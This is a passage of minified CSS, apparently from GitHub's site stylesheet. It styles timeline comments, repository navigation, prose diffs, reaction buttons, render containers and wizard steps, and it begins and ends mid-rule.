var(--color-accent-subtle))}.timeline-comment--caret.current-user::before{background-color:var(--color-accent-muted)}.timeline-comment--caret.unread-item::after,.timeline-comment--caret.unread-item::before,.timeline-comment--caret.is-internal::after,.timeline-comment--caret.is-internal::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.timeline-comment--caret.unread-item::after,.timeline-comment--caret.is-internal::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-attention-subtle), var(--color-attention-subtle))}.timeline-comment--caret.unread-item::before,.timeline-comment--caret.is-internal::before{background-color:var(--color-attention-muted)}.timeline-comment--caret.timeline-comment--caret-nw::before,.timeline-comment--caret.timeline-comment--caret-nw::after{transform:rotate(90deg)}.timeline-comment--caret.timeline-comment--caret-nw::before{top:-12px;left:12px}.timeline-comment--caret.timeline-comment--caret-nw::after{top:-10px;left:11px}.page-responsive .timeline-comment--caret::before,.page-responsive .timeline-comment--caret::after{display:none}@media(min-width: 768px){.page-responsive .timeline-comment--caret::before,.page-responsive .timeline-comment--caret::after{display:block}}:target .timeline-comment--caret::before{background-color:var(--color-accent-fg)}:target .timeline-comment--caret::after{margin-left:2px !important}:target .timeline-comment{z-index:2;border-color:var(--color-accent-fg);outline:none !important;box-shadow:0 0 0 1px var(--color-accent-fg) !important}.review-comment:target{border-radius:6px;outline:none !important;box-shadow:0 0 0 1px var(--color-accent-fg) !important}.timeline-comment-header{display:flex;align-items:center;padding-right:16px;padding-left:16px;color:var(--color-fg-muted);flex-direction:row-reverse;background-color:var(--color-canvas-subtle);border-bottom:1px solid var(--color-border-default);border-top-left-radius:6px;border-top-right-radius:6px}.timeline-comment-header:only-child{border-bottom:0;border-radius:6px}.timeline-comment-header .author{color:var(--color-fg-muted)}.timeline-comment-header code{word-break:break-all}.comment-type-icon{color:inherit}.timeline-comment-header-text{min-width:0;padding-top:8px;padding-bottom:8px;margin-bottom:1px;flex:1 1 auto}.timeline-comment-header-text code a{color:var(--color-fg-muted)}.timeline-comment-actions{float:right;margin-left:8px}.timeline-comment-actions .show-more-popover.dropdown-menu-sw{right:-6px;margin-top:-4px}.timeline-comment-action{display:inline-block;padding:8px 4px;color:var(--color-fg-muted)}.timeline-comment-action:hover,.timeline-comment-action:focus{color:var(--color-accent-fg);text-decoration:none;opacity:1}.timeline-comment-action .octicon-check{height:16px}.timeline-comment-action.disabled{color:var(--color-fg-muted);cursor:default}.timeline-comment-action.disabled:hover{color:var(--color-fg-muted)}.timeline-new-comment{margin-bottom:0}.timeline-new-comment .comment-form-head{margin-bottom:8px}.timeline-new-comment .previewable-comment-form .comment-body{padding-top:0}.comment-form-head .toolbar-commenting{float:right}.discussion-item-icon{float:left;width:32px;height:32px;margin-top:-4px;margin-left:-39px;line-height:28px;color:var(--color-fg-muted);text-align:center;background-color:var(--color-timeline-badge-bg);border:2px solid var(--color-canvas-default);border-radius:50%}.discussion-item-header{color:var(--color-fg-muted);word-wrap:break-word}.discussion-item-header .discussion-item-private{vertical-align:-1px}.discussion-item-header:last-child{padding-bottom:0}.discussion-item-header .commit-ref{font-size:85%;vertical-align:baseline}.discussion-item-header .btn-outline{float:right;padding:4px 8px;margin-top:-4px;margin-left:8px}.discussion-item-private{color:var(--color-fg-muted)}.previewable-comment-form .comment-form-head.tabnav{padding:8px 8px 0;background:var(--color-canvas-subtle);border-radius:6px 6px 0 0}.page-responsive .previewable-comment-form .comment-form-head.tabnav .toolbar-commenting{background:var(--color-canvas-default)}@media(min-width: 1012px){.page-responsive .previewable-comment-form .comment-form-head.tabnav .toolbar-commenting{background:transparent}}@media(min-width: 768px){.page-responsive .previewable-comment-form .comment-form-head.tabnav{background:var(--color-canvas-subtle)}}.previewable-comment-form .comment{border:0}.previewable-comment-form .comment-body{padding-top:8px;padding-right:8px;padding-bottom:8px;padding-left:8px;background-color:transparent;border-bottom:1px solid var(--color-border-default)}.previewable-comment-form .timeline-comment .timeline-comment-actions{display:none}.new-discussion-timeline .composer .timeline-comment{margin-bottom:8px}.new-discussion-timeline .composer .comment-form-head.tabnav{padding-top:0;background-color:var(--color-canvas-default)}.composer.composer-responsive{padding-left:0}.composer.composer-responsive .discussion-topic-header{padding:0}.composer.composer-responsive .timeline-comment{border:0}.composer.composer-responsive .timeline-comment::before,.composer.composer-responsive .timeline-comment::after{display:none}.composer.composer-responsive .previewable-comment-form .write-content{margin:0}@media(min-width: 768px){.composer.composer-responsive{padding-left:56px}.composer.composer-responsive .timeline-comment{border:1px solid var(--color-border-default)}.composer.composer-responsive .timeline-comment::after,.composer.composer-responsive .timeline-comment::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.composer.composer-responsive .timeline-comment::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default))}.composer.composer-responsive .timeline-comment::before{background-color:var(--color-border-default)}}.discussion-timeline-actions{background-color:var(--color-canvas-default);border-top:2px solid var(--color-border-default)}.discussion-timeline-actions .merge-pr{padding-top:0;border-top:0}.discussion-timeline-actions .thread-subscription-status{margin-top:16px}.pagination-loader-container{background-color:var(--color-canvas-default);background-image:url("/images/modules/pulls/progressive-disclosure-line.svg");background-repeat:repeat-x;background-position:center;background-size:16px}[data-color-mode=light][data-light-theme*=dark] .pagination-loader-container,[data-color-mode=dark][data-dark-theme*=dark] .pagination-loader-container{background-image:url("/images/modules/pulls/progressive-disclosure-line-dark.svg")}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=dark] .pagination-loader-container{background-image:url("/images/modules/pulls/progressive-disclosure-line-dark.svg")}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=dark] .pagination-loader-container{background-image:url("/images/modules/pulls/progressive-disclosure-line-dark.svg")}}:target .timeline-comment-group .timeline-comment .timeline-comment-group .timeline-comment{box-shadow:none !important}.is-pending .form-actions{margin-right:8px;margin-bottom:4px}.is-pending .file,.is-pending .file-header,.is-pending .tabnav-tab.selected,.is-pending .comment-form-head.tabnav{border-color:var(--color-attention-emphasis)}.is-pending .file-header,.is-pending .comment-form-head.tabnav{background-color:var(--color-attention-subtle)}.discussion-item-icon-gray{background-color:var(--color-timeline-badge-bg) !important}.footer-octicon{color:var(--color-fg-subtle)}.footer-octicon:hover{color:var(--color-fg-muted)}.user-mention,.team-mention{font-weight:600;color:var(--color-fg-default);white-space:nowrap}.Popover .user-mention,.Popover .team-mention{white-space:normal}@media(max-width: 543px){.notifications-component-menu-modal{margin:calc(10vh - 16px) 0}}@media(min-width: 544px){.notifications-component-menu-modal,.notifications-component-dialog,.notifications-component-dialog-modal{width:100%}}@media(min-width: 768px){.notifications-component-menu-modal,.notifications-component-dialog,.notifications-component-dialog-modal{min-width:300px}}.notifications-component-dialog:not([hidden])+.notifications-component-dialog-overlay{position:fixed;top:0;right:0;bottom:0;left:0;z-index:80;display:block;cursor:default;content:" ";background:transparent;background:var(--color-primer-canvas-backdrop)}@media(min-width: 544px){.notifications-component-dialog:not([hidden])+.notifications-component-dialog-overlay{display:none}}.notifications-component-dialog{z-index:99;animation:none}@keyframes notifications-component-dialog-animation--sm{0%{opacity:0;transform:translateX(16px)}}@media(min-width: 544px){.notifications-component-dialog{position:absolute;top:auto;right:auto;bottom:auto;left:auto;max-height:none;padding-top:0;margin:0;transform:none}}.notifications-component-dialog .notifications-component-dialog-modal{animation:none}.pagehead{position:relative;padding-top:24px;padding-bottom:24px;margin-bottom:24px;border-bottom:1px solid var(--color-border-default)}.pagehead.admin{background:url("/images/modules/pagehead/background-yellowhatch-v3.png") 0 0 repeat-x}.pagehead ul.pagehead-actions{position:relative;z-index:31;float:right;margin:0}.pagehead .path-divider{margin:0 .25em}.pagehead h1{min-height:32px;margin-top:0;margin-bottom:0;font-size:20px;font-weight:400}.pagehead h1 .avatar{margin-top:-2px;margin-right:8px;margin-bottom:-2px}.pagehead .underline-nav{height:69px;margin-top:-16px;margin-bottom:-16px}.pagehead-heading{color:inherit}.pagehead-actions>li{float:left;margin:0 8px 0 0;font-size:12px;color:var(--color-fg-default);list-style-type:none}.pagehead-actions>li:last-child{margin-right:0}.pagehead-actions .octicon-mute{color:var(--color-danger-fg)}.pagehead-actions .select-menu{position:relative}.pagehead-actions .select-menu::before{display:table;content:""}.pagehead-actions .select-menu::after{display:table;clear:both;content:""}.pagehead-actions .select-menu-modal-holder{top:100%}.pagehead-tabs-item{float:left;padding:8px 16px 12px;color:var(--color-fg-muted);white-space:nowrap;border:solid transparent;border-width:3px 1px 1px;border-radius:6px 6px 0 0}.pagehead-tabs-item .octicon{color:var(--color-fg-muted)}.pagehead-tabs-item:hover{color:var(--color-fg-default);text-decoration:none}.pagehead-tabs-item.selected{font-weight:600;color:var(--color-fg-default);background-color:var(--color-canvas-default);border-color:var(--color-severe-emphasis) var(--color-border-default) transparent}.pagehead-tabs-item.selected>.octicon{color:inherit}.reponav{position:relative;top:1px;margin-top:-4px}.reponav::before{display:table;content:""}.reponav::after{display:table;clear:both;content:""}.reponav-item{float:left;padding:8px 16px 8px;color:var(--color-fg-muted);white-space:nowrap;border:solid transparent;border-width:3px 1px 1px;border-radius:6px 6px 0 0}.reponav-item .octicon{color:var(--color-fg-muted)}.reponav-item:hover,.reponav-item:focus{color:var(--color-fg-default);text-decoration:none}.reponav-item.selected{color:var(--color-fg-default);background-color:var(--color-canvas-default);border-color:var(--color-severe-emphasis) var(--color-border-default) transparent}.reponav-item.selected .octicon{color:inherit}.reponav-wrapper{position:relative;z-index:2;overflow-y:hidden;background-color:var(--color-neutral-emphasis)}.reponav-wrapper .reponav{top:0;padding-right:8px;padding-left:8px;margin-top:0;-webkit-overflow-scrolling:touch;overflow-x:auto;color:rgba(255,255,255,.75)}.reponav-wrapper .reponav-item{display:inline-block;float:none;padding:4px 8px 16px;color:var(--color-fg-muted);border:0}.reponav-wrapper .reponav-item.selected{font-weight:600;color:var(--color-fg-default);background-color:transparent;border:0}@media(max-width: 768px){.PageLayout--responsive-separateRegions.PageLayout--responsive-primary-pane .ActionList-item.ActionList-item--navActive:not(.ActionList-item--danger){background-color:transparent}.PageLayout--responsive-separateRegions.PageLayout--responsive-primary-pane .ActionList-item.ActionList-item--navActive:not(.ActionList-item--subItem) .ActionList-item-label{font-weight:400}.PageLayout--responsive-separateRegions.PageLayout--responsive-primary-pane .ActionList-item--navActive::after{display:none}.PageLayout--responsive-separateRegions.PageLayout--responsive-primary-pane .ActionList-item.ActionList-item--navActive:not(.ActionList-item--danger):hover{background-color:var(--color-action-list-item-default-hover-bg)}}.steps{display:table;width:100%;padding:0;margin:32px auto 0;overflow:hidden;list-style:none;border:1px solid #dfe2e5;border-radius:6px;box-shadow:0 1px 3px rgba(27,31,35,.05)}.steps li{display:table-cell;width:33.3%;padding:8px 16px;color:#c6cbd1;cursor:default;background-color:var(--color-canvas-subtle);border-left:1px solid #dfe2e5}.steps li.current{color:var(--color-fg-default);background-color:var(--color-canvas-default)}.steps li.current .octicon{color:var(--color-accent-fg)}.steps li .octicon{float:left;margin-right:16px;margin-bottom:4px}.steps li .step{display:block}.steps li:first-child{border-left:0}.steps .complete{color:var(--color-fg-muted)}.steps .complete .octicon{color:var(--color-success-fg)}.prose-diff .anchor{display:none}.prose-diff .show-rich-diff{color:var(--color-accent-fg);text-decoration:none;cursor:pointer}.prose-diff .show-rich-diff:hover{text-decoration:underline}.prose-diff.collapsed .rich-diff-level-zero.expandable{cursor:pointer}.prose-diff.collapsed .rich-diff-level-zero.expandable .vicinity{display:block}.prose-diff.collapsed .rich-diff-level-zero.expandable .unchanged:not(.vicinity){display:none}.prose-diff.collapsed .rich-diff-level-zero.expandable .octicon{display:block;margin:16px auto;color:var(--color-fg-muted)}.prose-diff.collapsed .rich-diff-level-zero.expandable:hover .octicon{color:var(--color-fg-muted)}.prose-diff.collapsed .rich-diff-level-zero.expandable:only-child::before{font-size:16px;color:var(--color-fg-muted);content:"Sorry, no visible changes to display."}.prose-diff.collapsed .rich-diff-level-zero.expandable:only-child:hover::before{color:var(--color-fg-default)}.prose-diff.collapsed .rich-diff-level-zero.expandable>.removed,.prose-diff.collapsed .rich-diff-level-zero.expandable>del{display:none;text-decoration:none}.prose-diff .markdown-body{padding:32px;padding-left:16px}.prose-diff .markdown-body>ins{box-shadow:inset 4px 0 0 var(--color-success-muted)}.prose-diff .markdown-body>del{text-decoration:none;box-shadow:inset 4px 0 0 var(--color-danger-muted)}.prose-diff .markdown-body>ins,.prose-diff .markdown-body>del{display:block;border-radius:0}.prose-diff .markdown-body>ins>.rich-diff-level-zero,.prose-diff .markdown-body>ins>.rich-diff-level-one,.prose-diff .markdown-body>del>.rich-diff-level-zero,.prose-diff .markdown-body>del>.rich-diff-level-one{margin-left:16px}.prose-diff .markdown-body>ins:first-child *,.prose-diff .markdown-body>del:first-child *{margin-top:0}.prose-diff .rich-diff-level-zero.added{box-shadow:inset 4px 0 0 var(--color-success-muted)}.prose-diff .rich-diff-level-zero.removed{box-shadow:inset 4px 0 0 var(--color-danger-muted)}.prose-diff .rich-diff-level-zero.changed{box-shadow:inset 4px 0 0 var(--color-attention-muted)}.prose-diff .rich-diff-level-zero.unchanged,.prose-diff .rich-diff-level-zero.vicinity{margin-left:16px}.prose-diff .rich-diff-level-zero.added,.prose-diff .rich-diff-level-zero.removed,.prose-diff .rich-diff-level-zero.changed{display:block;border-radius:0}.prose-diff .rich-diff-level-zero.added>.rich-diff-level-one,.prose-diff .rich-diff-level-zero.removed>.rich-diff-level-one,.prose-diff .rich-diff-level-zero.changed>.rich-diff-level-one{margin-left:16px}.prose-diff .rich-diff-level-zero.added:first-child *,.prose-diff .rich-diff-level-zero.removed:first-child *,.prose-diff .rich-diff-level-zero.changed:first-child *{margin-top:0}.prose-diff :not(.changed)>:not(.github-user-ins):not(.github-user-del)>.removed,.prose-diff :not(.changed)>:not(.github-user-ins):not(.github-user-del)>del{text-decoration:none}.prose-diff .changed del,.prose-diff .changed del pre,.prose-diff .changed del code,.prose-diff .changed del>div,.prose-diff .changed .removed,.prose-diff .changed .removed pre,.prose-diff .changed .removed code,.prose-diff .changed .removed>div{color:var(--color-fg-default);text-decoration:line-through;background:var(--color-danger-subtle)}.prose-diff .changed ins,.prose-diff .changed ins code,.prose-diff .changed ins pre,.prose-diff .changed .added{color:var(--color-fg-default);background:var(--color-success-subtle);border-bottom:1px solid var(--color-success-muted)}.prose-diff>.markdown-body .github-user-ins{text-decoration:underline}.prose-diff>.markdown-body .github-user-del{text-decoration:line-through}.prose-diff>.markdown-body li ul.added{background:var(--color-success-subtle)}.prose-diff>.markdown-body li ul.removed{color:var(--color-fg-default);background:var(--color-danger-subtle)}.prose-diff>.markdown-body li ul.removed:not(.github-user-ins){text-decoration:line-through}.prose-diff>.markdown-body li.added.moved-up .octicon,.prose-diff>.markdown-body li.added.moved-down .octicon{margin-right:4px;margin-left:4px;color:var(--color-fg-muted)}.prose-diff>.markdown-body li.added.moved{background:var(--color-attention-subtle)}.prose-diff>.markdown-body li.removed.moved{display:none}.prose-diff>.markdown-body pre{padding:8px 16px}.prose-diff>.markdown-body th.changed,.prose-diff>.markdown-body td.changed{background:var(--color-attention-subtle);border-left-color:var(--color-border-default)}.prose-diff>.markdown-body :not(li.moved).removed{color:var(--color-fg-default);text-decoration:line-through;background:var(--color-danger-subtle)}.prose-diff>.markdown-body :not(.github-user-ins):not(li.moved).removed{text-decoration:line-through}.prose-diff>.markdown-body :not(li.moved).added,.prose-diff>.markdown-body li:not(.moved).added{background:var(--color-success-subtle)}.prose-diff>.markdown-body :not(.github-user-del):not(li.moved).added li:not(.moved):not(.github-user-del).added{text-decoration:none}.prose-diff>.markdown-body li:not(.moved).removed{color:var(--color-fg-default);background:var(--color-danger-subtle)}.prose-diff>.markdown-body li:not(.moved):not(.github-user-ins).removed{text-decoration:line-through}.prose-diff>.markdown-body .added,.prose-diff>.markdown-body ins+.added,.prose-diff>.markdown-body ins{border-top:0;border-bottom:0}.prose-diff>.markdown-body .added:not(.github-user-del):not(.github-user-ins),.prose-diff>.markdown-body ins+.added:not(.github-user-del):not(.github-user-ins),.prose-diff>.markdown-body ins:not(.github-user-del):not(.github-user-ins){text-decoration:none}.prose-diff>.markdown-body img.added,.prose-diff>.markdown-body img.removed{border-style:solid;border-width:1px}.prose-diff>.markdown-body ins pre:not(.github-user-del):not(.github-user-ins),.prose-diff>.markdown-body ins code:not(.github-user-del):not(.github-user-ins),.prose-diff>.markdown-body ins>div:not(.github-user-del):not(.github-user-ins){text-decoration:none}.prose-diff>.markdown-body ul>ins,.prose-diff>.markdown-body ul>del{display:block;padding:0}.prose-diff>.markdown-body .added>li,.prose-diff>.markdown-body .removed>li{margin-top:0;margin-bottom:0}span.changed_tag,em.changed_tag,strong.changed_tag,b.changed_tag,i.changed_tag,code.changed_tag{border-bottom:1px dotted var(--color-border-default);border-radius:0}a.added_href,a.changed_href,span.removed_href{border-bottom:1px dotted var(--color-border-default);border-radius:0}.diff-view .file-type-prose .rich-diff{display:none}.diff-view .display-rich-diff .rich-diff{display:block}.diff-view .display-rich-diff .file-diff{display:none}.protip{margin-top:16px;color:var(--color-fg-muted);text-align:center}.protip strong{color:var(--color-fg-default)}.protip code{padding:2px;background-color:var(--color-canvas-subtle);border-radius:6px}.add-reactions-options-item{margin-top:-1px;margin-right:-1px;line-height:29px;border:1px solid transparent}.add-reactions-options-item .emoji{display:inline-block;transition:transform .15s cubic-bezier(0.2, 0, 0.13, 2)}.add-reactions-options-item:hover .emoji,.add-reactions-options-item:focus .emoji{text-decoration:none !important;transform:scale(1.2) !important}.add-reactions-options-item:active{background-color:var(--color-accent-subtle)}.page-responsive .add-reactions-options-item{height:20vw}@media(min-width: 544px){.page-responsive .add-reactions-options-item{height:auto}}.comment-reactions{display:none}.comment-reactions::before{display:table;content:""}.comment-reactions::after{display:table;clear:both;content:""}.comment-reactions .reactions-menu{z-index:100}.page-responsive .comment-reactions{display:none}@media(min-width: 768px){.page-responsive .comment-reactions{display:none}.page-responsive .comment-reactions.has-reactions{display:flex}}.comment-reactions.has-reactions{display:flex}.comment-reactions.has-reactions:not(.social-reactions){border-top:1px solid var(--color-border-default)}.comment-reactions .user-has-reacted{background-color:var(--color-accent-subtle)}.reactions-container .user-has-reacted{background-color:var(--color-accent-subtle)}[data-color-mode=light][data-light-theme*=dark],[data-color-mode=dark][data-dark-theme*=dark]{--color-social-reaction-bg-hover:var(--color-scale-gray-7);--color-social-reaction-bg-reacted-hover:var(--color-scale-blue-8)}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=dark]{--color-social-reaction-bg-hover:var(--color-scale-gray-7);--color-social-reaction-bg-reacted-hover:var(--color-scale-blue-8)}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=dark]{--color-social-reaction-bg-hover:var(--color-scale-gray-7);--color-social-reaction-bg-reacted-hover:var(--color-scale-blue-8)}}:root,[data-color-mode=light][data-light-theme*=light],[data-color-mode=dark][data-dark-theme*=light]{--color-social-reaction-bg-hover:var(--color-scale-gray-1);--color-social-reaction-bg-reacted-hover:var(--color-scale-blue-1)}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=light]{--color-social-reaction-bg-hover:var(--color-scale-gray-1);--color-social-reaction-bg-reacted-hover:var(--color-scale-blue-1)}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=light]{--color-social-reaction-bg-hover:var(--color-scale-gray-1);--color-social-reaction-bg-reacted-hover:var(--color-scale-blue-1)}}.social-reaction-summary-item+.social-reaction-summary-item{margin-left:8px}.social-reactions .comment-body{margin-left:16px !important}.social-button-emoji{display:inline-block;width:16px;height:16px;font-size:1em !important;line-height:1.25;vertical-align:-1px}.social-reaction-summary-item{height:26px;padding:0 4px !important;margin-right:0;font-size:12px;line-height:26px;background-color:transparent;border:1px solid var(--color-border-default, #d2dff0);border-radius:100px}.social-reaction-summary-item:focus,.social-reaction-summary-item:focus-visible{border-radius:100px !important}.social-reaction-summary-item:focus{border-color:var(--color-accent-fg);outline:none;box-shadow:inset 0 0 0 1px var(--color-accent-fg)}.social-reaction-summary-item:focus:not(:focus-visible){border-color:transparent;border-color:var(--color-accent-fg);outline:none;box-shadow:inset 0 0 0 1px transparent}.social-reaction-summary-item:focus-visible{border-color:var(--color-accent-fg);outline:none;box-shadow:inset 0 0 0 1px var(--color-accent-fg)}.social-reaction-summary-item.user-has-reacted{background-color:var(--color-accent-subtle);border:1px solid var(--color-accent-emphasis) !important}.social-reaction-summary-item.user-has-reacted:hover{background-color:var(--color-social-reaction-bg-reacted-hover) !important}.social-reaction-summary-item>span{height:24px;padding:0 4px;margin-left:2px}.social-reaction-summary-item:hover{background-color:var(--color-social-reaction-bg-hover)}.reaction-dropdown-button{color:var(--color-fg-muted)}.reaction-dropdown-button:hover{color:var(--color-accent-fg)}.reaction-dropdown-button--inline{width:26px;height:26px}.reaction-dropdown-button--inline:hover{background-color:var(--color-btn-hover-bg) !important;border-color:var(--color-btn-hover-border) !important}.reaction-dropdown-button:disabled{color:var(--color-primer-fg-disabled) !important;pointer-events:none}.reactions-with-gap .comment .comment-reactions{margin-left:16px;border-top:0 !important}.new-reactions-dropdown .dropdown-menu-reactions{width:auto;padding:0 2px}.new-reactions-dropdown .dropdown-menu-reactions::before,.new-reactions-dropdown .dropdown-menu-reactions::after{background-color:transparent;border:0}.new-reactions-dropdown .dropdown-item-reaction{width:32px;height:32px;padding:4px;margin:4px 2px}.new-reactions-dropdown .dropdown-item-reaction.user-has-reacted{background-color:var(--color-accent-subtle)}.new-reactions-dropdown .dropdown-item-reaction:hover{background-color:var(--color-btn-hover-bg)}.RecentBranches{background-color:var(--color-attention-subtle);border:1px solid var(--color-attention-emphasis);border-radius:6px}.RecentBranches-item{line-height:28px;color:var(--color-fg-default)}.RecentBranches-item+.RecentBranches-item{border-top:1px solid var(--color-attention-emphasis)}.RecentBranches-item-link{color:var(--color-fg-default)}.RecentBranches-item-link.css-truncate-target{max-width:400px}.render-container{padding:32px;line-height:0;text-align:center;background:var(--color-canvas-subtle);border-bottom-right-radius:6px;border-bottom-left-radius:6px}.render-container .render-viewer{display:block;width:1px;height:1px;border:0}.render-container .octospinner{display:none}.render-container .render-viewer-error,.render-container .render-viewer-fatal,.render-container .render-viewer-invalid,.render-container .render-fullscreen{display:none}.render-container.is-render-automatic .octospinner{display:inline-block}.render-container.is-render-requested .octospinner{display:inline-block}.render-container.is-render-requested.is-render-failed .render-viewer-error{display:inline-block}.render-container.is-render-requested.is-render-failed .render-viewer,.render-container.is-render-requested.is-render-failed .render-viewer-fatal,.render-container.is-render-requested.is-render-failed .render-viewer-invalid,.render-container.is-render-requested.is-render-failed .octospinner{display:none}.render-container.is-render-requested.is-render-failed-fatal .render-viewer-fatal{display:inline-block}.render-container.is-render-requested.is-render-failed-fatal .render-viewer,.render-container.is-render-requested.is-render-failed-fatal .render-viewer-error,.render-container.is-render-requested.is-render-failed-fatal .render-viewer-invalid,.render-container.is-render-requested.is-render-failed-fatal .octospinner{display:none}.render-container.is-render-requested.is-render-failed-invalid .render-viewer-invalid{display:inline-block}.render-container.is-render-requested.is-render-failed-invalid .render-viewer,.render-container.is-render-requested.is-render-failed-invalid .render-viewer-error,.render-container.is-render-requested.is-render-failed-invalid .render-viewer-fatal,.render-container.is-render-requested.is-render-failed-invalid .octospinner{display:none}.render-container.is-render-ready.is-render-requested:not(.is-render-failed){height:500px;padding:0;background:none}.render-container.is-render-ready.is-render-requested:not(.is-render-failed) .render-viewer{width:100%;height:100%}.render-container.is-render-ready.is-render-requested:not(.is-render-failed) .render-fullscreen{display:flex}.render-container.is-render-ready.is-render-requested:not(.is-render-failed) .render-viewer-error,.render-container.is-render-ready.is-render-requested:not(.is-render-failed) .render-viewer-fatal,.render-container.is-render-ready.is-render-requested:not(.is-render-failed) .octospinner{display:none}.render-needs-enrichment{margin-bottom:16px}.render-needs-enrichment .render-full-screen{width:100%;height:auto;padding:16px;overflow:auto}.render-needs-enrichment .render-expand{top:2px;right:2px}.render-needs-enrichment .render-full-screen-close{top:0;right:0;padding:4px}.render-needs-enrichment .details{margin-bottom:0}.render-needs-enrichment .render-plaintext-hidden{display:none}.render-needs-enrichment.render-error .js-render-box{display:none !important}.render-notice{padding:16px 16px;font-size:14px;color:var(--color-fg-default);background-color:var(--color-canvas-subtle);border-color:var(--color-border-subtle)}.Skeleton{color:rgba(0,0,0,0);background-image:linear-gradient(270deg, rgba(0, 0, 0, 0.1), rgba(0, 0, 0, 0.05), rgba(0, 0, 0, 0.05), rgba(0, 0, 0, 0.1));background-size:400% 100%;animation:skeleton-loading 8s ease-in-out infinite}.Skeleton *{visibility:hidden}.Skeleton--text{-webkit-clip-path:inset(4px 0 4px 0 round 3px 3px 3px 3px);clip-path:inset(4px 0 4px 0 round 3px 3px 3px 3px)}.is-error .Skeleton{display:none}@keyframes skeleton-loading{0%{background-position:200% 0}100%{background-position:-200% 0}}.authors-2 .AvatarStack{min-width:36px !important}.authors-3 .AvatarStack{min-width:46px !important}[aria-selected=true] .AvatarStack-body,.navigation-focus .AvatarStack-body{background:#f6fbff}.tracked-in-parent-pill{position:relative;cursor:default}.tracked-in-parent-pill-truncated{position:absolute;left:100%;display:none;white-space:nowrap;background:var(--color-canvas-default);border-left-width:0 !important;border-top-left-radius:0 !important;border-bottom-left-radius:0 !important}.tracked-in-parent-pill:hover .tracked-in-parent-pill-truncated{display:block}.wizard-step-item{position:relative;padding:8px 0;margin-left:16px;flex-direction:row}.wizard-step-item::before{position:absolute;top:32px;bottom:0;left:0;display:block;width:2px;height:100%;content:"";background-color:var(--color-border-default)}.wizard-step-badge{position:relative;z-index:1;display:flex;width:32px;height:32px;margin-right:8px;margin-left:-16px;color:var(--color-fg-default);align-items:center;background-color:var(--color-border-default);border:1px solid var(--color-canvas-default);border-radius:50%;justify-content:center;flex-shrink:0}.wizard-step-body{min-width:0;max-width:100%;color:var(--color-fg-default);flex:auto}.wizard-step-body .wizard-step-buttons{display:none;margin-top:16px;justify-content:flex-end}.wizard-step-container{border:0}.wizard-step-container .wizard-step-content{display:none;width:100%;padding:16px 24px 24px 24px;overflow:visible;font-size:14px}.wizard-step-container.wizard-step-container-icon .wizard-step-content{padding:24px}.wizard-step-header{padding-top:4px;padding-left:8px}.wizard-step-header>.wizard-step-title{min-width:0;margin-bottom:4px;flex:1 1 auto;color:var(--color-fg-muted)}.wizard-step-icon{display:none;height:96px;color:var(--color-accent-fg);background-image:linear-gradient(to right, var(--color-accent-subtle), var(--color-canvas-default));justify-content:center;align-items:center;border-top-left-radius:6px;border-top-right-radius:6px}.wizard-step[data-single-page-wizard-step-complete=true] .wizard-step-badge{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.wizard-step[data-single-page-wizard-step-complete=true] .wizard-step-item::before{background-color:var(--color-accent-emphasis)}.wizard-step[data-single-page-wizard-step-complete=true] .wizard-step-title{color:var(--color-fg-default)}.wizard-step[data-single-page-wizard-last-step=true] .wizard-step-badge .wizard-step-check{display:block;color:var(--color-fg-on-emphasis)}.wizard-step[data-single-page-wizard-last-step=true] .wizard-step-item::before{top:0;display:block;height:16px}@media(min-width: 768px){.wizard-step[data-single-page-wizard-last-step=true] .wizard-step-item::before{display:none}}.wizard-step[data-single-page-wizard-last-step=true] .wizard-step-icon{color:var(--color-success-fg);background-image:linear-gradient(to right, var(--color-success-subtle), var(--color-canvas-default))}.wizard-step:not([data-single-page-wizard-last-step=true]) .wizard-step-badge .wizard-step-check{display:none}.wizard-step:not([data-single-page-wizard-last-step=true]) .wizard-step-badge::before{color:var(--color-fg-on-emphasis);content:attr(data-single-page-wizard-step)}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-badge{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.wizard-step[data-single-page-wizard-step-current=true][data-single-page-wizard-last-step=true] .wizard-step-badge{background-color:var(--color-success-emphasis)}.wizard-step[data-single-page-wizard-step-current=true][data-single-page-wizard-last-step=true] .wizard-step-item::before{top:42px;height:16px}.wizard-step[data-single-page-wizard-step-current=true][data-single-page-wizard-last-step=true] .wizard-step-container-icon::after{background-image:linear-gradient(var(--color-success-subtle), var(--color-success-subtle))}.wizard-step[data-single-page-wizard-step-current=true]:not([data-single-page-wizard-last-step=true]) .wizard-step-container-icon::after{background-image:linear-gradient(var(--color-accent-subtle), var(--color-accent-subtle))}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-icon{display:flex}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-item{flex-direction:column}@media(min-width: 768px){.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-item{flex-direction:row}}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-body{margin-top:16px;margin-left:-16px}@media(min-width: 768px){.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-body{margin-top:0;margin-left:0}}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container{position:relative;background-color:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:6px}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::after,.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 